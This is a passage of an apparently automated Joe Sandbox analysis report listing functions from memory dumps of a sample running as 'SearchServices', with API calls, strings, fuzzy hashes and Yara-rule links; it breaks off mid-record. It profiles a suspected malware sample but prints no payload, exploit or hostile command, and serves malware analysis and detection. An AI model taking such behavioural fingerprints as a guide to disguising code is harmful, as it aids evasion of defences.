csm, xrefs: 00007FF7287EF3A6
csm, xrefs: 00007FF7287EF40D

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 0e2dbf0607b23b863384daf6af73d36f13a88af7ca772ada99fba3557138c94c
Instruction ID: 2b2b0da67cef57f7415de82058ff6574e6cfee4b517d47e4eb79144501fbd21e
Opcode Fuzzy Hash: 0e2dbf0607b23b863384daf6af73d36f13a88af7ca772ada99fba3557138c94c
Instruction Fuzzy Hash: 02D1A132A4878186EB20AFA59C802ADF7A0FB59788F840137DE4D57F95DF39E590CB14

Function 00000264CC27F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000264CC27F510
GetProcAddress.KERNEL32 ref: 00000264CC27F51C

Strings

api-ms-, xrefs: 00000264CC27F45A
ext-ms-, xrefs: 00000264CC27F46D

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 5a1e6b11d4b4bfadd728b45bc9582fe50b58a896de9d4a1fe97ceb6fc98d9d39
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 9C412632B57A00D2EB21EB16E87C7D52391B745BA0F0961279E8E877A4EE3EC645C304

Function 00007FF7287E89B0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7287E101D), ref: 00007FF7287E8A47
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7287E101D), ref: 00007FF7287E8A9E

Strings

WideCharToMultiByte, xrefs: 00007FF7287E8AE6
win32_utils_to_utf8, xrefs: 00007FF7287E8AD6
Out of memory., xrefs: 00007FF7287E8ACF
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7287E8AC6
Failed to get UTF-8 buffer size., xrefs: 00007FF7287E8ADF

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 400f0bdcbd62a4a5536486c2f7426be13d95d078f8c38135e0fc09a91e7db9c0
Instruction ID: b3fbc524069418e17f23d161c4e18c73e1b90c14186a11c22d10028438d37256
Opcode Fuzzy Hash: 400f0bdcbd62a4a5536486c2f7426be13d95d078f8c38135e0fc09a91e7db9c0
Instruction Fuzzy Hash: 1141D132A18B8282E620EF55BC4012AF6A1FB88794F984137DE8D87B94DF3DD455CB18

Function 00000264CC27104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000264CC2710B1
RegEnumValueW.ADVAPI32 ref: 00000264CC271117
GetProcessHeap.KERNEL32 ref: 00000264CC27115A
HeapAlloc.KERNEL32 ref: 00000264CC271168
GetProcessHeap.KERNEL32 ref: 00000264CC271185
HeapFree.KERNEL32 ref: 00000264CC271193

Strings

d, xrefs: 00000264CC2710D6

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 8c52523f0f7069c0909d0652e01d4f8c5754ebd2fe46081d8d0ecb2ba48f31c6
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 04419233615B84C6E760DF25E45879E77B1F388B88F04912ADB894B768DF39C549CB00

Function 00007FF7287E8EF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF7287E39CA), ref: 00007FF7287E8F31

Part of subcall function 00007FF7287E29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7287E8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF7287E101D), ref: 00007FF7287E29F4
Part of subcall function 00007FF7287E29C0: MessageBoxW.USER32 ref: 00007FF7287E2AD0

WideCharToMultiByte.KERNEL32(?,00007FF7287E39CA), ref: 00007FF7287E8FA5

Strings

WideCharToMultiByte, xrefs: 00007FF7287E8F45, 00007FF7287E8FB6
win32_utils_to_utf8, xrefs: 00007FF7287E8F72
Out of memory., xrefs: 00007FF7287E8F6B
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7287E8FAF
Failed to get UTF-8 buffer size., xrefs: 00007FF7287E8F3E

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: 4b8f80f614b111e99d886447c0377d3fa2ad0085ce50da6436ff273b72e0facb
Instruction ID: 6ed60a6319cfa6d6c62c5ee3a39b82e1f9f9be1e3647ec3e35ba8d66e97c5d8d
Opcode Fuzzy Hash: 4b8f80f614b111e99d886447c0377d3fa2ad0085ce50da6436ff273b72e0facb
Instruction Fuzzy Hash: 1E21A222B28B8685F710EF56EC40079F292EF98B80F984537DA5D43795EF3DE5118B28

Function 00000264CC27D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000264CC27C7DE,?,?,?,?,?,?,?,?,00000264CC27CF9D,?,?,00000001), ref: 00000264CC27D087
FlsSetValue.KERNEL32(?,?,?,00000264CC27C7DE,?,?,?,?,?,?,?,?,00000264CC27CF9D,?,?,00000001), ref: 00000264CC27D0A6
FlsSetValue.KERNEL32(?,?,?,00000264CC27C7DE,?,?,?,?,?,?,?,?,00000264CC27CF9D,?,?,00000001), ref: 00000264CC27D0CE
FlsSetValue.KERNEL32(?,?,?,00000264CC27C7DE,?,?,?,?,?,?,?,?,00000264CC27CF9D,?,?,00000001), ref: 00000264CC27D0DF
FlsSetValue.KERNEL32(?,?,?,00000264CC27C7DE,?,?,?,?,?,?,?,?,00000264CC27CF9D,?,?,00000001), ref: 00000264CC27D0F0

Strings

Y%, xrefs: 00000264CC27D0A6
1%, xrefs: 00000264CC27D0CE

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 77ce77d39399ae637eaae6b5378fbce4d89fdb86871839b05f1fa2e3f112ddec
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D2114230F86244C1FA687726E5FD3E952815B447F0F14776798B9467FADE2BD6018700

Function 00000264CC277510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000264CC277538
__scrt_acquire_startup_lock.LIBCMT ref: 00000264CC27758A
_RTC_Initialize.LIBCMT ref: 00000264CC2775B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000264CC2775DE
__scrt_release_startup_lock.LIBCMT ref: 00000264CC277609

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: b976ed6e616fdbbc2c9aece23cafbf6cd88634a3e233d3eda53e5b5bbb27a052
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: F5819031E83241C6FB56BB2AE4F93D96291A745F80F1474279AC4877BADB3BCB458700

Function 00007FF7287E77B0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7287E7926

Part of subcall function 00007FF7287F0A40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F0A54

Part of subcall function 00007FF7287F0A14: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F0A28

Strings

\, xrefs: 00007FF7287E77FC
ERROR: file already exists but should not: %s, xrefs: 00007FF7287E788C
%s%c%s, xrefs: 00007FF7287E77F5
WARNING: file already exists but should not: %s, xrefs: 00007FF7287E78A8
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7287E7842

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: 7d70ccbc226a53c178bae0e2b45a26fb105d2c99d94f5ea3a1ea8a39b220c4cd
Instruction ID: ed02e79642348fd86e6c0372a4e3190dabf4a945bec2ac3b8723fb0444e31c2e
Opcode Fuzzy Hash: 7d70ccbc226a53c178bae0e2b45a26fb105d2c99d94f5ea3a1ea8a39b220c4cd
Instruction Fuzzy Hash: B2519621A9D68241FA10B7A69D412B9D291DFACBC0FC44133EA5D477D6EE3EE5008F38

Function 00000264CC279DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000264CC279E49
GetLastError.KERNEL32 ref: 00000264CC279E57
LoadLibraryExW.KERNEL32 ref: 00000264CC279E81
FreeLibrary.KERNEL32 ref: 00000264CC279EC7
GetProcAddress.KERNEL32 ref: 00000264CC279ED3

Strings

api-ms-, xrefs: 00000264CC279E69

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 0d9947d78fe903a5560d85549b6153af10c81a2d0364023b2b384c1d2ebf3ef0
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 04310832B53B00D2EE12FB02E4A8BE56394F748BA0F1925279D9D4B3B0DF3AC2458300

Function 00007FF7287EE3C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7287EE67A,?,?,?,00007FF7287ED5AC,?,?,?,00007FF7287ED1A1), ref: 00007FF7287EE44D
GetLastError.KERNEL32(?,?,?,00007FF7287EE67A,?,?,?,00007FF7287ED5AC,?,?,?,00007FF7287ED1A1), ref: 00007FF7287EE45B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7287EE67A,?,?,?,00007FF7287ED5AC,?,?,?,00007FF7287ED1A1), ref: 00007FF7287EE485
FreeLibrary.KERNEL32(?,?,?,00007FF7287EE67A,?,?,?,00007FF7287ED5AC,?,?,?,00007FF7287ED1A1), ref: 00007FF7287EE4F3
GetProcAddress.KERNEL32(?,?,?,00007FF7287EE67A,?,?,?,00007FF7287ED5AC,?,?,?,00007FF7287ED1A1), ref: 00007FF7287EE4FF

Strings

api-ms-, xrefs: 00007FF7287EE46D

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 5cef7e97cf10635b7adbe76254dad29ae16abfe91812266f9aed7336451ff82a
Instruction ID: a1a5c0bc74bb6c15bbb55cfa45d38969e5bb7302f76f4fb46341f1b3fb1f7819
Opcode Fuzzy Hash: 5cef7e97cf10635b7adbe76254dad29ae16abfe91812266f9aed7336451ff82a
Instruction Fuzzy Hash: F431D622B5A68290FE11AB869C00575E3D4FF09BA0F990937EE5D46B90DE3DE4448B28

Function 00007FF7287E7630 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7287E8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8E1A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF7287E7BB1,00000000,?,00000000,00000000,?,00007FF7287E153F), ref: 00007FF7287E768F

Part of subcall function 00007FF7287E2B10: MessageBoxW.USER32 ref: 00007FF7287E2BE5

Strings

LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7287E76A3
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7287E7666
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7287E76EA

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 9bfcf0b62ea921097bc7abb589b6718567d9e6fafddd2668cb98e057143b44d0
Instruction ID: 1101b42a0e88ffeef07dbb0f6978a134b730d234fe0c729c0176dc213c6ffe8f
Opcode Fuzzy Hash: 9bfcf0b62ea921097bc7abb589b6718567d9e6fafddd2668cb98e057143b44d0
Instruction Fuzzy Hash: 23318311B6968240FA20BB65ED552BAD291EF9D7C4FC40433DB4E467D6EE3EE1048E28

Function 00007FF7287E8DE0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8E1A

Part of subcall function 00007FF7287E29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7287E8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF7287E101D), ref: 00007FF7287E29F4
Part of subcall function 00007FF7287E29C0: MessageBoxW.USER32 ref: 00007FF7287E2AD0

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8EA0

Strings

MultiByteToWideChar, xrefs: 00007FF7287E8E2E, 00007FF7287E8EB1
win32_utils_from_utf8, xrefs: 00007FF7287E8E69
Out of memory., xrefs: 00007FF7287E8E62
Failed to get wchar_t buffer size., xrefs: 00007FF7287E8E27
Failed to decode wchar_t from UTF-8, xrefs: 00007FF7287E8EAA

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: 7f97f1849ec178b0ff8ea583991b98c80d8c160445cd7602e716bcd8403426a8
Instruction ID: a89ffa6d8e5773a1f6c0c3b8d17cc512d7bd0def2a104986d865a66c3af92353
Opcode Fuzzy Hash: 7f97f1849ec178b0ff8ea583991b98c80d8c160445cd7602e716bcd8403426a8
Instruction Fuzzy Hash: 4D219922B28A8281EB10EB25FC4106AE3A1FF987C4F984533DB5C97769EF3DD5518B14

Function 00007FF7287FBF00 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7287FBF0F
FlsGetValue.KERNEL32 ref: 00007FF7287FBF24
FlsSetValue.KERNEL32 ref: 00007FF7287FBF45
FlsSetValue.KERNEL32 ref: 00007FF7287FBF72
FlsSetValue.KERNEL32 ref: 00007FF7287FBF83
FlsSetValue.KERNEL32 ref: 00007FF7287FBF94
SetLastError.KERNEL32 ref: 00007FF7287FBFAF

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: df2ded1ae2d12cacab90ddcd018bee7069951accd7a28f59ea2aa6442bb7c29d
Instruction ID: 967e5542c540b6c0ea09df7aec30d3620f8fb5d68b0ecfd6bd97ccc072fe2892
Opcode Fuzzy Hash: df2ded1ae2d12cacab90ddcd018bee7069951accd7a28f59ea2aa6442bb7c29d
Instruction Fuzzy Hash: 1C21AF20B9C60242F65873B29D51179D1A2CF6C7B0FA44637E97E47BC6DE2EA4004F28

Function 00000264CC283DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000264CC283DE5
GetLastError.KERNEL32 ref: 00000264CC283DF1
CloseHandle.KERNEL32 ref: 00000264CC283E09
CreateFileW.KERNEL32 ref: 00000264CC283E34
WriteConsoleW.KERNEL32 ref: 00000264CC283E53

Strings

CONOUT$, xrefs: 00000264CC283E15

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 4dfa2671ee9a53baedbd6770036dda6c1bf850a5c2c540b02fde54f981d1bf5b
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: EE11B232B11B40C2E750AF16F86875973A0F788FE4F045226EA9A877B5CF39C6048744

Function 00007FF728808D9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF728808DCD
GetLastError.KERNEL32 ref: 00007FF728808DD9
CloseHandle.KERNEL32 ref: 00007FF728808DF1
CreateFileW.KERNEL32 ref: 00007FF728808E1C
WriteConsoleW.KERNEL32 ref: 00007FF728808E3B

Strings

CONOUT$, xrefs: 00007FF728808DFD

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 56c47cfc8464f7969a639e7ce3d60490623cf8b9b00151c5924cedcf2ef07519
Instruction ID: f6e7a607eabe8c4674085c8104a21c5ea6ab6ad5555fd2e77d71d87541f0fb28
Opcode Fuzzy Hash: 56c47cfc8464f7969a639e7ce3d60490623cf8b9b00151c5924cedcf2ef07519
Instruction Fuzzy Hash: 45118421628A4186F350AB02EC44325F6E4FB48FE4F904236DE2D87794CF3DD568CB58

Function 00000264CC272F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000264CC272F27
HeapAlloc.KERNEL32 ref: 00000264CC272F3A
StrCmpNIW.SHLWAPI ref: 00000264CC272FAF
GetProcessHeap.KERNEL32 ref: 00000264CC273015
HeapFree.KERNEL32 ref: 00000264CC273023

Strings

dialer, xrefs: 00000264CC272FA8

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: f63aa46236d3e4536ac89d71ccc70a9fb1f31be9c6e56206497dad539647c34a
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 3331A532B42B51C2E714EF16E5A87A967A0FB44B84F085022DFC847B76EF36C6A18700

Function 00000264CC27CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000264CC27CFAF
FlsSetValue.KERNEL32(?,?,?,00000264CC27D6B5,?,?,?,?,00000264CC27D778), ref: 00000264CC27CFE5
FlsSetValue.KERNEL32(?,?,?,00000264CC27D6B5,?,?,?,?,00000264CC27D778), ref: 00000264CC27D012
FlsSetValue.KERNEL32(?,?,?,00000264CC27D6B5,?,?,?,?,00000264CC27D778), ref: 00000264CC27D023
FlsSetValue.KERNEL32(?,?,?,00000264CC27D6B5,?,?,?,?,00000264CC27D778), ref: 00000264CC27D034
SetLastError.KERNEL32 ref: 00000264CC27D04F

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 8f6a22bce92c71821691805106b8c66f87b0b2965a42a6b4c401f8e4397a6839
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
